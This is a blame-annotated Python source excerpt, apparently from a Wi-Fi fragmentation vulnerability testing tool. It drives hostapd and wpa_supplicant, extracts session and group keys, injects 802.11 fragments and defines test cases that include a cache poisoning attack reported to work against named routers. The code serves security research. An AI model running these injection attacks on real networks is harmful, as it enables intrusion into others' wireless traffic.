|
|
|
|
else:
|
|
|
|
# (Re)transmit DHCP frames (or as AP print status message)
|
|
|
|
self.daemon.get_ip(self)
|
|
|
|
# Either schedule a new Connected event, or the initial one. Use 2 seconds
|
|
|
|
# because requesting IP generally takes a bit of time.
|
|
|
|
# TODO: Add an option to configure this timeout.
|
|
|
|
self.time_connected = time.time() + 1
|
|
|
|
log(WARNING, f"Scheduling next Frag.Connected at {self.time_connected}")
|
|
|
|
return
|
|
|
|
|
|
|
|
self.inject_next_frags(trigger)
|
|
|
|
|
|
|
|
flag = self.test.pop_flag()
|
|
|
|
if flag == Frag.Rekey:
|
|
|
|
# Force rekey as AP, wait on rekey as client
|
|
|
|
self.daemon.rekey(self)
|
|
|
|
|
|
|
|
elif flag == Frag.Reconnect:
|
|
|
|
# Full reconnect as AP, reassociation as client
|
|
|
|
self.daemon.reconnect(self)
|
|
|
|
|
2020-03-13 06:49:58 -04:00
|
|
|
def handle_authenticated(self):
|
|
|
|
"""Called after completion of the 4-way handshake or similar"""
|
2020-03-24 08:52:31 -04:00
|
|
|
self.tk = self.daemon.get_tk(self)
|
|
|
|
self.gtk, self.gtk_idx = self.daemon.get_gtk()
|
2020-03-25 09:53:38 -04:00
|
|
|
|
2020-03-29 18:11:35 -04:00
|
|
|
# Note that self.time_connect may get changed in check_flags_and_inject
|
2020-03-28 13:33:34 -04:00
|
|
|
log(STATUS, "Frag.AfterAuth", color="green")
|
2020-03-27 13:23:49 -04:00
|
|
|
self.time_connected = time.time() + 1
|
2020-03-29 18:11:35 -04:00
|
|
|
self.check_flags_and_inject(Frag.AfterAuth)
|
2020-03-27 15:19:31 -04:00
|
|
|
|
2020-03-27 13:23:49 -04:00
|
|
|
def handle_connected(self):
|
|
|
|
"""This is called ~1 second after completing the handshake"""
|
2020-03-28 13:33:34 -04:00
|
|
|
log(STATUS, "Frag.Connected", color="green")
|
2020-03-29 18:11:35 -04:00
|
|
|
self.check_flags_and_inject(Frag.Connected)
|
2020-03-27 14:22:12 -04:00
|
|
|
|
2020-03-25 09:53:38 -04:00
|
|
|
def set_ip_addresses(self, ip, peerip):
|
2020-03-07 21:10:26 -05:00
|
|
|
self.ip = ip
|
|
|
|
self.peerip = peerip
|
2020-03-24 08:52:31 -04:00
|
|
|
self.obtained_ip = True
|
2020-03-07 21:10:26 -05:00
|
|
|
|
2020-03-27 13:23:49 -04:00
|
|
|
def time_tick(self):
|
2020-03-29 18:11:35 -04:00
|
|
|
if self.time_connected != None and time.time() > self.time_connected:
|
|
|
|
# Note that handle_connected may schedule a new Connected event, so it's
|
|
|
|
# important to clear time_connected *before* calling handle_connected.
|
2020-03-27 13:23:49 -04:00
|
|
|
self.time_connected = None
|
2020-03-29 18:11:35 -04:00
|
|
|
self.handle_connected()
|
2020-03-27 13:23:49 -04:00
|
|
|
|
2020-03-30 13:13:21 -04:00
|
|
|
# ----------------------------------- Client and AP Daemons -----------------------------------
|
|
|
|
|
2020-03-29 18:11:35 -04:00
|
|
|
class Daemon(metaclass=abc.ABCMeta):
|
2020-03-07 21:10:26 -05:00
|
|
|
def __init__(self, options):
|
|
|
|
self.options = options
|
|
|
|
|
|
|
|
# Note: some kernels don't support interface names of 15+ characters
|
|
|
|
self.nic_iface = options.interface
|
|
|
|
self.nic_mon = "mon" + self.nic_iface[:12]
|
|
|
|
|
|
|
|
self.process = None
|
|
|
|
self.sock_eth = None
|
|
|
|
self.sock_mon = None
|
|
|
|
|
|
|
|
@abc.abstractmethod
|
|
|
|
def start_daemon(self):
|
|
|
|
pass
|
|
|
|
|
|
|
|
def configure_daemon(self):
|
|
|
|
pass
|
|
|
|
|
2020-03-25 09:53:38 -04:00
|
|
|
def handle_mon(self, p):
|
2020-03-07 21:10:26 -05:00
|
|
|
pass
|
|
|
|
|
2020-03-25 09:53:38 -04:00
|
|
|
def handle_eth(self, p):
|
2020-03-07 21:10:26 -05:00
|
|
|
pass
|
|
|
|
|
2020-03-27 13:23:49 -04:00
|
|
|
@abc.abstractmethod
|
|
|
|
def time_tick(self, station):
|
|
|
|
pass
|
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
@abc.abstractmethod
|
|
|
|
def get_tk(self, station):
|
|
|
|
pass
|
2020-02-29 15:56:41 -05:00
|
|
|
|
2020-03-13 06:49:58 -04:00
|
|
|
def get_gtk(self):
|
|
|
|
gtk, idx = wpaspy_command(self.wpaspy_ctrl, "GET_GTK").split()
|
|
|
|
return bytes.fromhex(gtk), int(idx)
|
|
|
|
|
2020-03-29 18:11:35 -04:00
|
|
|
@abc.abstractmethod
|
|
|
|
def get_ip(self, station):
|
|
|
|
pass
|
|
|
|
|
2020-03-27 14:22:12 -04:00
|
|
|
@abc.abstractmethod
|
|
|
|
def rekey(self, station):
|
|
|
|
pass
|
|
|
|
|
2020-03-29 18:11:35 -04:00
|
|
|
@abc.abstractmethod
|
|
|
|
def reconnect(self, station):
|
|
|
|
pass
|
|
|
|
|
2020-03-04 06:36:52 -05:00
|
|
|
# TODO: Might be good to put this into libwifi?
|
2020-02-27 07:07:19 -05:00
|
|
|
def configure_interfaces(self):
|
|
|
|
log(STATUS, "Note: disable Wi-Fi in your network manager so it doesn't interfere with this script")
|
|
|
|
|
|
|
|
# 0. Some users may forget this otherwise
|
|
|
|
subprocess.check_output(["rfkill", "unblock", "wifi"])
|
|
|
|
|
2020-03-27 12:50:28 -04:00
|
|
|
# 1. Only create a new monitor interface if it does not yet exist
|
|
|
|
try:
|
|
|
|
scapy.arch.get_if_index(self.nic_mon)
|
|
|
|
except IOError:
|
|
|
|
subprocess.call(["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE)
|
|
|
|
subprocess.check_output(["iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor"])
|
2020-02-27 07:07:19 -05:00
|
|
|
|
|
|
|
# 2. Configure monitor mode on interfaces
|
|
|
|
# Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly
|
|
|
|
# sequence of commands assures the virtual interface is properly registered as a 802.11 monitor interface.
|
|
|
|
subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
|
|
|
|
time.sleep(0.5)
|
|
|
|
subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
|
|
|
|
subprocess.check_output(["ifconfig", self.nic_mon, "up"])
|
|
|
|
|
2020-03-27 12:49:33 -04:00
|
|
|
# 3. Remember whether to need to perform a workaround.
|
|
|
|
driver = get_device_driver(self.nic_iface)
|
|
|
|
if driver == None:
|
|
|
|
log(WARNING, "Unable to detect driver of interface!")
|
|
|
|
log(WARNING, "Injecting fragments may contains bugs.")
|
|
|
|
elif driver == "ath9k_htc":
|
|
|
|
options.inject_workaround = True
|
|
|
|
log(STATUS, "Detect ath9k_htc, using injection bug workarounds")
|
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
def inject_mon(self, p):
|
|
|
|
self.sock_mon.send(p)
|
|
|
|
|
|
|
|
def inject_eth(self, p):
|
|
|
|
self.sock_eth.send(p)
|
|
|
|
|
2020-03-04 06:36:52 -05:00
|
|
|
def run(self):
|
2020-02-27 07:07:19 -05:00
|
|
|
self.configure_interfaces()
|
2020-03-04 06:36:52 -05:00
|
|
|
self.start_daemon()
|
2020-03-07 21:10:26 -05:00
|
|
|
self.sock_mon = MonitorSocket(type=ETH_P_ALL, iface=self.nic_mon)
|
|
|
|
self.sock_eth = L2Socket(type=ETH_P_ALL, iface=self.nic_iface)
|
|
|
|
|
2020-03-04 06:36:52 -05:00
|
|
|
# Open the wpa_supplicant or hostapd control interface
|
2020-02-27 07:07:19 -05:00
|
|
|
try:
|
2020-03-07 21:10:26 -05:00
|
|
|
self.wpaspy_ctrl = Ctrl("wpaspy_ctrl/" + self.nic_iface)
|
|
|
|
self.wpaspy_ctrl.attach()
|
2020-02-27 07:07:19 -05:00
|
|
|
except:
|
2020-03-04 06:36:52 -05:00
|
|
|
log(ERROR, "It seems wpa_supplicant/hostapd did not start properly, please inspect its output.")
|
|
|
|
log(ERROR, "Did you disable Wi-Fi in the network manager? Otherwise it won't start properly.")
|
2020-02-27 07:07:19 -05:00
|
|
|
raise
|
|
|
|
|
2020-03-24 08:52:31 -04:00
|
|
|
# Post-startup configuration of the supplicant or AP
|
2020-03-07 21:10:26 -05:00
|
|
|
self.configure_daemon()
|
2020-03-01 19:03:08 -05:00
|
|
|
|
2020-02-27 07:07:19 -05:00
|
|
|
# Monitor the virtual monitor interface of the client and perform the needed actions
|
|
|
|
while True:
|
2020-03-27 13:23:49 -04:00
|
|
|
sel = select.select([self.sock_mon, self.sock_eth, self.wpaspy_ctrl.s], [], [], 0.5)
|
2020-03-07 21:10:26 -05:00
|
|
|
if self.sock_mon in sel[0]:
|
|
|
|
p = self.sock_mon.recv()
|
2020-03-25 09:53:38 -04:00
|
|
|
if p != None: self.handle_mon(p)
|
2020-03-04 06:36:52 -05:00
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
if self.sock_eth in sel[0]:
|
|
|
|
p = self.sock_eth.recv()
|
2020-03-25 09:53:38 -04:00
|
|
|
if p != None and Ether in p: self.handle_eth(p)
|
2020-03-04 06:36:52 -05:00
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
if self.wpaspy_ctrl.s in sel[0]:
|
|
|
|
msg = self.wpaspy_ctrl.recv()
|
2020-03-04 06:36:52 -05:00
|
|
|
self.handle_wpaspy(msg)
|
2020-02-27 07:07:19 -05:00
|
|
|
|
2020-03-27 13:23:49 -04:00
|
|
|
self.time_tick()
|
|
|
|
|
2020-02-27 07:07:19 -05:00
|
|
|
def stop(self):
|
2020-03-04 06:36:52 -05:00
|
|
|
log(STATUS, "Closing Hostap daemon and cleaning up ...")
|
2020-03-07 21:10:26 -05:00
|
|
|
if self.process:
|
|
|
|
self.process.terminate()
|
|
|
|
self.process.wait()
|
|
|
|
if self.sock_eth: self.sock_eth.close()
|
|
|
|
if self.sock_mon: self.sock_mon.close()
|
|
|
|
|
|
|
|
|
|
|
|
class Authenticator(Daemon):
|
|
|
|
def __init__(self, options):
|
|
|
|
super().__init__(options)
|
|
|
|
|
|
|
|
self.apmac = None
|
|
|
|
self.sock_eth = None
|
|
|
|
self.dhcp = None
|
|
|
|
self.arp_sender_ip = None
|
|
|
|
self.arp_sock = None
|
|
|
|
self.stations = dict()
|
|
|
|
|
|
|
|
def get_tk(self, station):
|
|
|
|
tk = wpaspy_command(self.wpaspy_ctrl, "GET_TK " + station.peermac)
|
2020-03-13 06:49:58 -04:00
|
|
|
return bytes.fromhex(tk)
|
2020-03-07 21:10:26 -05:00
|
|
|
|
2020-03-27 13:23:49 -04:00
|
|
|
def time_tick(self):
|
2020-03-27 14:22:12 -04:00
|
|
|
for station in self.stations.values():
|
2020-03-27 13:23:49 -04:00
|
|
|
station.time_tick()
|
|
|
|
|
2020-03-29 10:56:59 -04:00
|
|
|
def get_ip(self, station):
|
|
|
|
log(STATUS, f"Waiting on client {station.peermac} to get IP")
|
|
|
|
|
2020-03-27 14:22:12 -04:00
|
|
|
def rekey(self, station):
|
|
|
|
wpaspy_command(self.wpaspy_ctrl, "REKEY_PTK " + station.peermac)
|
|
|
|
|
2020-03-29 10:56:59 -04:00
|
|
|
def reconnect(self, station):
|
2020-03-25 09:53:38 -04:00
|
|
|
# Confirmed to *instantly* reconnect: Arch Linux, Windows 10 with Intel WiFi chip, iPad Pro 13.3.1
|
|
|
|
# Reconnects only after a few seconds: MacOS (same with other reasons and with deauthentication)
|
2020-03-29 10:56:59 -04:00
|
|
|
cmd = f"DISASSOCIATE {station.peermac} reason={WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA}"
|
2020-03-25 09:53:38 -04:00
|
|
|
wpaspy_command(self.wpaspy_ctrl, cmd)
|
|
|
|
|
|
|
|
def handle_eth_dhcp(self, p, station):
|
|
|
|
if not DHCP in p or not station.peermac in self.dhcp.leases: return
|
|
|
|
|
|
|
|
# This assures we only mark it was connected after receiving a DHCP Request
|
|
|
|
req_type = next(opt[1] for opt in p[DHCP].options if isinstance(opt, tuple) and opt[0] == 'message-type')
|
|
|
|
if req_type != 3: return
|
|
|
|
|
|
|
|
peerip = self.dhcp.leases[station.peermac]
|
2020-03-29 10:56:59 -04:00
|
|
|
log(STATUS, f"Client {station.peermac} with IP {peerip} has connected")
|
2020-03-25 09:53:38 -04:00
|
|
|
station.set_ip_addresses(self.arp_sender_ip, peerip)
|
|
|
|
|
|
|
|
def handle_eth(self, p):
|
2020-03-07 21:10:26 -05:00
|
|
|
# Ignore clients not connected to the AP
|
|
|
|
clientmac = p[Ether].src
|
|
|
|
if not clientmac in self.stations:
|
|
|
|
return
|
|
|
|
|
|
|
|
# Let clients get IP addresses
|
|
|
|
self.dhcp.reply(p)
|
|
|
|
self.arp_sock.reply(p)
|
|
|
|
|
2020-03-25 09:53:38 -04:00
|
|
|
# Monitor DHCP messages to know when a client received an IP address
|
2020-03-07 21:10:26 -05:00
|
|
|
station = self.stations[clientmac]
|
2020-03-25 09:53:38 -04:00
|
|
|
if not station.obtained_ip:
|
|
|
|
self.handle_eth_dhcp(p, station)
|
|
|
|
else:
|
|
|
|
station.handle_eth(p)
|
2020-03-07 21:10:26 -05:00
|
|
|
|
|
|
|
def handle_wpaspy(self, msg):
|
|
|
|
log(STATUS, "daemon: " + msg)
|
|
|
|
|
2020-03-13 06:49:58 -04:00
|
|
|
if "AP-STA-CONNECTING" in msg:
|
|
|
|
cmd, clientmac = msg.split()
|
2020-03-07 21:10:26 -05:00
|
|
|
if not clientmac in self.stations:
|
|
|
|
station = Station(self, self.apmac, "from-DS")
|
|
|
|
self.stations[clientmac] = station
|
|
|
|
|
2020-03-29 10:56:59 -04:00
|
|
|
log(STATUS, f"Client {clientmac} is connecting")
|
2020-03-07 21:10:26 -05:00
|
|
|
station = self.stations[clientmac]
|
|
|
|
station.handle_connecting(clientmac)
|
|
|
|
|
2020-03-13 06:49:58 -04:00
|
|
|
elif "EAPOL-TX" in msg:
|
|
|
|
cmd, clientmac, payload = msg.split()
|
|
|
|
if not clientmac in self.stations:
|
2020-03-29 10:56:59 -04:00
|
|
|
log(WARNING, f"Sending EAPOL to unknown client {clientmac}.")
|
2020-03-13 06:49:58 -04:00
|
|
|
return
|
|
|
|
self.stations[clientmac].handle_eapol_tx(bytes.fromhex(payload))
|
|
|
|
|
2020-03-27 15:19:31 -04:00
|
|
|
# XXX update so this also works with rekeys
|
2020-03-13 06:49:58 -04:00
|
|
|
elif "AP-STA-CONNECTED" in msg:
|
|
|
|
cmd, clientmac = msg.split()
|
|
|
|
if not clientmac in self.stations:
|
2020-03-29 10:56:59 -04:00
|
|
|
log(WARNING, f"Unknown client {clientmac} finished authenticating.")
|
2020-03-13 06:49:58 -04:00
|
|
|
return
|
|
|
|
self.stations[clientmac].handle_authenticated()
|
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
def start_daemon(self):
|
|
|
|
log(STATUS, "Starting hostapd ...")
|
|
|
|
try:
|
|
|
|
self.process = subprocess.Popen([
|
|
|
|
"../hostapd/hostapd",
|
|
|
|
"-i", self.nic_iface,
|
|
|
|
"hostapd.conf", "-dd"
|
|
|
|
])
|
|
|
|
time.sleep(1)
|
|
|
|
except:
|
|
|
|
if not os.path.exists("../hostapd/hostapd"):
|
|
|
|
log(ERROR, "hostapd executable not found. Did you compile hostapd?")
|
|
|
|
raise
|
2020-02-27 07:07:19 -05:00
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
self.apmac = scapy.arch.get_if_hwaddr(self.nic_iface)
|
2020-02-27 07:07:19 -05:00
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
def configure_daemon(self):
|
2020-03-28 13:33:34 -04:00
|
|
|
# Intercept EAPOL packets that the AP wants to send
|
2020-03-24 08:52:31 -04:00
|
|
|
wpaspy_command(self.wpaspy_ctrl, "SET ext_eapol_frame_io 1")
|
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
# Let scapy handle DHCP requests
|
|
|
|
self.dhcp = DHCP_sock(sock=self.sock_eth,
|
|
|
|
domain='mathyvanhoef.com',
|
|
|
|
pool=Net('192.168.100.0/24'),
|
|
|
|
network='192.168.100.0/24',
|
|
|
|
gw='192.168.100.254',
|
|
|
|
renewal_time=600, lease_time=3600)
|
|
|
|
# Configure gateway IP: reply to ARP and ping requests
|
|
|
|
subprocess.check_output(["ifconfig", self.nic_iface, "192.168.100.254"])
|
2020-03-01 19:03:08 -05:00
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
# Use a dedicated IP address for our ARP ping and replies
|
|
|
|
self.arp_sender_ip = self.dhcp.pool.pop()
|
|
|
|
self.arp_sock = ARP_sock(sock=self.sock_eth, IP_addr=self.arp_sender_ip, ARP_addr=self.apmac)
|
2020-03-29 10:56:59 -04:00
|
|
|
log(STATUS, f"Will inject ARP packets using sender IP {self.arp_sender_ip}")
|
2020-03-04 06:36:52 -05:00
|
|
|
|
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
class Supplicant(Daemon):
|
2020-03-04 06:36:52 -05:00
|
|
|
def __init__(self, options):
|
|
|
|
super().__init__(options)
|
2020-03-07 21:10:26 -05:00
|
|
|
self.station = None
|
2020-03-24 08:52:31 -04:00
|
|
|
self.arp_sock = None
|
2020-03-29 18:11:35 -04:00
|
|
|
self.dhcp_xid = None
|
2020-03-04 06:36:52 -05:00
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
def get_tk(self, station):
|
|
|
|
tk = wpaspy_command(self.wpaspy_ctrl, "GET tk")
|
|
|
|
if tk == "none":
|
2020-03-13 06:49:58 -04:00
|
|
|
raise Exception("Couldn't retrieve session key of client")
|
2020-03-07 21:10:26 -05:00
|
|
|
else:
|
|
|
|
return bytes.fromhex(tk)
|
|
|
|
|
2020-03-29 18:11:35 -04:00
|
|
|
def get_ip(self, station):
|
|
|
|
self.send_dhcp_discover()
|
|
|
|
|
2020-03-27 14:22:12 -04:00
|
|
|
def rekey(self, station):
|
|
|
|
# WAG320N: does not work (Broadcom - no reply)
|
|
|
|
# MediaTek: starts handshake. But must send Msg2/4 in plaintext! Request optionally in plaintext.
|
2020-03-27 15:19:31 -04:00
|
|
|
# Maybe it's removing the current PTK before a rekey?
|
2020-03-27 14:22:12 -04:00
|
|
|
# RT-N10: we get a deauthentication as a reply. Connection is killed.
|
|
|
|
# LANCOM: does not work (no reply)
|
2020-03-28 09:32:58 -04:00
|
|
|
# Aruba: does not work (no reply)
|
2020-03-27 14:22:12 -04:00
|
|
|
# ==> Only reliable way is to configure AP to constantly rekey the PTK, and wait
|
|
|
|
# untill the AP starts a rekey.
|
|
|
|
#wpaspy_command(self.wpaspy_ctrl, "KEY_REQUEST 0 1")
|
|
|
|
|
2020-03-27 15:19:31 -04:00
|
|
|
log(STATUS, "Client cannot force rekey. Waiting on AP to start PTK rekey.", color="orange")
|
2020-03-27 14:22:12 -04:00
|
|
|
|
2020-03-27 13:23:49 -04:00
|
|
|
def time_tick(self):
|
|
|
|
self.station.time_tick()
|
|
|
|
|
2020-03-24 08:52:31 -04:00
|
|
|
def send_dhcp_discover(self):
|
2020-03-29 18:11:35 -04:00
|
|
|
if self.dhcp_xid == None:
|
|
|
|
self.dhcp_xid = random.randint(0, 2**31)
|
|
|
|
|
2020-03-24 08:52:31 -04:00
|
|
|
rawmac = bytes.fromhex(self.station.mac.replace(':', ''))
|
|
|
|
req = Ether(dst="ff:ff:ff:ff:ff:ff", src=self.station.mac)/IP(src="0.0.0.0", dst="255.255.255.255")
|
2020-03-29 18:11:35 -04:00
|
|
|
req = req/UDP(sport=68, dport=67)/BOOTP(op=1, chaddr=rawmac, xid=self.dhcp_xid)
|
2020-03-25 09:53:38 -04:00
|
|
|
req = req/DHCP(options=[("message-type", "discover"), "end"])
|
|
|
|
print(repr(req))
|
2020-03-27 12:58:11 -04:00
|
|
|
|
|
|
|
self.station.send_mon(req)
|
|
|
|
#self.sock_eth.send(req)
|
2020-03-24 08:52:31 -04:00
|
|
|
|
2020-03-25 09:53:38 -04:00
|
|
|
def send_dhcp_request(self, offer):
|
2020-03-24 08:52:31 -04:00
|
|
|
rawmac = bytes.fromhex(self.station.mac.replace(':', ''))
|
|
|
|
myip = offer[BOOTP].yiaddr
|
|
|
|
sip = offer[BOOTP].siaddr
|
|
|
|
xid = offer[BOOTP].xid
|
|
|
|
|
|
|
|
reply = Ether(dst="ff:ff:ff:ff:ff:ff", src=self.station.mac)/IP(src="0.0.0.0", dst="255.255.255.255")
|
2020-03-29 18:11:35 -04:00
|
|
|
reply = reply/UDP(sport=68, dport=67)/BOOTP(op=1, chaddr=rawmac, xid=self.dhcp_xid)
|
2020-03-25 09:53:38 -04:00
|
|
|
reply = reply/DHCP(options=[("message-type", "request"), ("requested_addr", myip),
|
2020-03-24 08:52:31 -04:00
|
|
|
("hostname", "fragclient"), "end"])
|
2020-03-27 12:58:11 -04:00
|
|
|
|
|
|
|
self.station.send_mon(reply)
|
|
|
|
#self.sock_eth.send(reply)
|
2020-03-24 08:52:31 -04:00
|
|
|
|
2020-03-25 09:53:38 -04:00
|
|
|
def handle_eth_dhcp(self, p):
|
2020-03-24 08:52:31 -04:00
|
|
|
"""Handle packets needed to connect and request an IP"""
|
2020-03-25 09:53:38 -04:00
|
|
|
if not DHCP in p: return
|
2020-03-24 08:52:31 -04:00
|
|
|
|
2020-03-25 09:53:38 -04:00
|
|
|
req_type = next(opt[1] for opt in p[DHCP].options if isinstance(opt, tuple) and opt[0] == 'message-type')
|
2020-03-04 06:36:52 -05:00
|
|
|
|
2020-03-25 09:53:38 -04:00
|
|
|
# DHCP Offer
|
|
|
|
if req_type == 2:
|
|
|
|
log(STATUS, "Received DHCP offer, sending DHCP request.")
|
|
|
|
self.send_dhcp_request(p)
|
2020-03-07 21:10:26 -05:00
|
|
|
|
2020-03-25 09:53:38 -04:00
|
|
|
# DHCP Ack
|
|
|
|
elif req_type == 5:
|
|
|
|
clientip = p[BOOTP].yiaddr
|
|
|
|
serverip = p[IP].src
|
2020-03-29 10:56:59 -04:00
|
|
|
log(STATUS, f"Received DHCP ack. My ip is {clientip} and router is {serverip}.")
|
2020-03-13 06:49:58 -04:00
|
|
|
|
2020-03-25 09:53:38 -04:00
|
|
|
self.initialize_ips(clientip, serverip)
|
2020-03-24 08:52:31 -04:00
|
|
|
|
2020-03-25 09:53:38 -04:00
|
|
|
def initialize_ips(self, clientip, serverip):
|
|
|
|
self.station.set_ip_addresses(clientip, serverip)
|
|
|
|
self.arp_sock = ARP_sock(sock=self.sock_eth, IP_addr=self.station.ip, ARP_addr=self.station.mac)
|
2020-03-24 08:52:31 -04:00
|
|
|
|
2020-03-25 09:53:38 -04:00
|
|
|
def handle_eth(self, p):
|
2020-03-29 18:11:35 -04:00
|
|
|
if BOOTP in p and p[BOOTP].xid == self.dhcp_xid:
|
2020-03-25 09:53:38 -04:00
|
|
|
self.handle_eth_dhcp(p)
|
|
|
|
else:
|
2020-03-29 18:11:35 -04:00
|
|
|
if self.arp_sock != None:
|
|
|
|
self.arp_sock.reply(p)
|
2020-03-25 09:53:38 -04:00
|
|
|
self.station.handle_eth(p)
|
2020-03-04 06:36:52 -05:00
|
|
|
|
|
|
|
def handle_wpaspy(self, msg):
|
|
|
|
log(STATUS, "daemon: " + msg)
|
|
|
|
|
2020-03-27 15:19:31 -04:00
|
|
|
if "WPA: Key negotiation completed with" in msg:
|
2020-03-27 13:23:49 -04:00
|
|
|
# This get's the current keys
|
|
|
|
self.station.handle_authenticated()
|
2020-03-25 09:53:38 -04:00
|
|
|
|
|
|
|
# Trying to authenticate with 38:2c:4a:c1:69:bc (SSID='backupnetwork2' freq=2462 MHz)
|
2020-03-24 08:52:31 -04:00
|
|
|
elif "Trying to authenticate with" in msg:
|
2020-03-04 06:36:52 -05:00
|
|
|
p = re.compile("Trying to authenticate with (.*) \(SSID")
|
2020-03-07 21:10:26 -05:00
|
|
|
peermac = p.search(msg).group(1)
|
2020-03-25 09:53:38 -04:00
|
|
|
self.station.handle_connecting(peermac)
|
2020-03-24 08:52:31 -04:00
|
|
|
|
2020-03-25 09:53:38 -04:00
|
|
|
elif "EAPOL-TX" in msg:
|
2020-03-24 08:52:31 -04:00
|
|
|
cmd, srcaddr, payload = msg.split()
|
|
|
|
self.station.handle_eapol_tx(bytes.fromhex(payload))
|
|
|
|
|
2020-03-29 18:11:35 -04:00
|
|
|
def reconnect(self, station):
|
2020-03-25 09:53:38 -04:00
|
|
|
log(STATUS, "Reconnecting to the AP.", color="green")
|
2020-03-28 09:32:58 -04:00
|
|
|
wpaspy_command(self.wpaspy_ctrl, "REASSOCIATE")
|
2020-03-13 06:49:58 -04:00
|
|
|
|
2020-03-24 08:52:31 -04:00
|
|
|
def configure_daemon(self):
|
|
|
|
# TODO: Only enable networks once our script is ready, to prevent
|
|
|
|
# wpa_supplicant from connecting before our start started.
|
|
|
|
|
2020-03-28 09:32:58 -04:00
|
|
|
# Optimize reassoc-to-same-BSS. This makes the "REASSOCIATE" command skip the
|
|
|
|
# authentication phase (reducing the chance that packet queues are reset).
|
|
|
|
wpaspy_command(self.wpaspy_ctrl, "SET reassoc_same_bss_optim 1")
|
2020-03-29 18:11:35 -04:00
|
|
|
wpaspy_command(self.wpaspy_ctrl, "SET ext_eapol_frame_io 1")
|
2020-03-28 09:32:58 -04:00
|
|
|
|
2020-03-24 08:52:31 -04:00
|
|
|
# If the user already supplied IPs we can immediately perform tests
|
|
|
|
if self.options.clientip and self.options.routerip:
|
2020-03-25 09:53:38 -04:00
|
|
|
self.initialize_ips(self.options.clientip, self.options.routerip)
|
2020-03-04 06:36:52 -05:00
|
|
|
|
|
|
|
def start_daemon(self):
|
|
|
|
log(STATUS, "Starting wpa_supplicant ...")
|
|
|
|
try:
|
2020-03-07 21:10:26 -05:00
|
|
|
self.process = subprocess.Popen([
|
2020-03-04 06:36:52 -05:00
|
|
|
"../wpa_supplicant/wpa_supplicant",
|
|
|
|
"-Dnl80211",
|
|
|
|
"-i", self.nic_iface,
|
|
|
|
"-cclient.conf",
|
|
|
|
"-dd"])
|
2020-03-07 21:10:26 -05:00
|
|
|
time.sleep(1)
|
2020-03-04 06:36:52 -05:00
|
|
|
except:
|
|
|
|
if not os.path.exists("../wpa_supplicant/wpa_supplicant"):
|
2020-03-07 21:10:26 -05:00
|
|
|
log(ERROR, "wpa_supplicant executable not found. Did you compile wpa_supplicant?")
|
2020-03-04 06:36:52 -05:00
|
|
|
raise
|
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
clientmac = scapy.arch.get_if_hwaddr(self.nic_iface)
|
|
|
|
self.station = Station(self, clientmac, "to-DS")
|
2020-03-01 19:03:08 -05:00
|
|
|
|
2020-03-30 13:13:21 -04:00
|
|
|
# ----------------------------------- Main Function -----------------------------------
|
2020-03-01 19:03:08 -05:00
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
def cleanup():
|
|
|
|
daemon.stop()
|
2020-03-01 19:03:08 -05:00
|
|
|
|
2020-03-30 13:53:56 -04:00
|
|
|
def prepare_tests(test_id):
|
|
|
|
if test_id == 0:
|
|
|
|
# Simple ping as sanity check
|
2020-04-01 10:14:07 -04:00
|
|
|
test = PingTest(REQ_DHCP,
|
2020-03-30 13:53:56 -04:00
|
|
|
[Frag(Frag.Connected, True, flags=Frag.GetIp)])
|
2020-04-01 10:14:07 -04:00
|
|
|
#[Frag(Frag.AfterAuth, True, flags=Frag.Rekey)])
|
2020-03-30 13:53:56 -04:00
|
|
|
|
|
|
|
elif test_id == 1:
|
2020-03-30 18:01:56 -04:00
|
|
|
# Check if the STA receives broadcast (useful test against AP)
|
|
|
|
test = PingTest(REQ_DHCP,
|
|
|
|
[Frag(Frag.Connected, True)],
|
|
|
|
bcast=True)
|
|
|
|
|
|
|
|
elif test_id == 2:
|
2020-03-30 13:53:56 -04:00
|
|
|
# Cache poison attack. Worked against Linux Hostapd and RT-AC51U.
|
|
|
|
test = PingTest(REQ_ICMP,
|
|
|
|
[Frag(Frag.Connected, True),
|
2020-03-30 18:01:56 -04:00
|
|
|
Frag(Frag.AfterAuth, True, flags=Frag.Reconnect)])
|
2020-03-30 13:53:56 -04:00
|
|
|
|
2020-03-30 18:01:56 -04:00
|
|
|
elif test_id == 3:
|
2020-03-30 18:04:31 -04:00
|
|
|
# Two fragments over different PTK keys. Against RT-AC51U AP we can
|
|
|
|
# trigger a rekey, but must do the rekey handshake in plaintext.
|
2020-03-30 18:01:56 -04:00
|
|
|
test = PingTest(REQ_DHCP,
|
|
|
|
[Frag(Frag.Connected, True),
|
|
|
|
Frag(Frag.AfterAuth, True, flags=Frag.Rekey)])
|
|
|
|
|
|
|
|
elif test_id == 4:
|
2020-04-01 10:14:07 -04:00
|
|
|
# Two fragments over different PTK keys. Against RT-AC51U AP we can
|
|
|
|
# trigger a rekey, but must do the rekey handshake in plaintext.
|
|
|
|
test = PingTest(REQ_DHCP,
|
|
|
|
[Frag(Frag.BeforeAuth, True, flags=Frag.Rekey),
|
|
|
|
Frag(Frag.AfterAuth, True)])
|
|
|
|
|
|
|
|
elif test_id == 5:
|
2020-03-30 13:53:56 -04:00
|
|
|
test = MacOsTest(REQ_DHCP)
|
|
|
|
|
2020-04-01 10:14:07 -04:00
|
|
|
elif test_id == 6:
|
|
|
|
# Check if we can send frames in between fragments
|
|
|
|
separator = Dot11(type="Data", subtype=8, SC=(33 << 4))/Dot11QoS()/LLC()/SNAP()
|
|
|
|
#separator.addr2 = "00:11:22:33:44:55"
|
|
|
|
#separator.addr3 = "ff:ff:ff:ff:ff:ff"
|
|
|
|
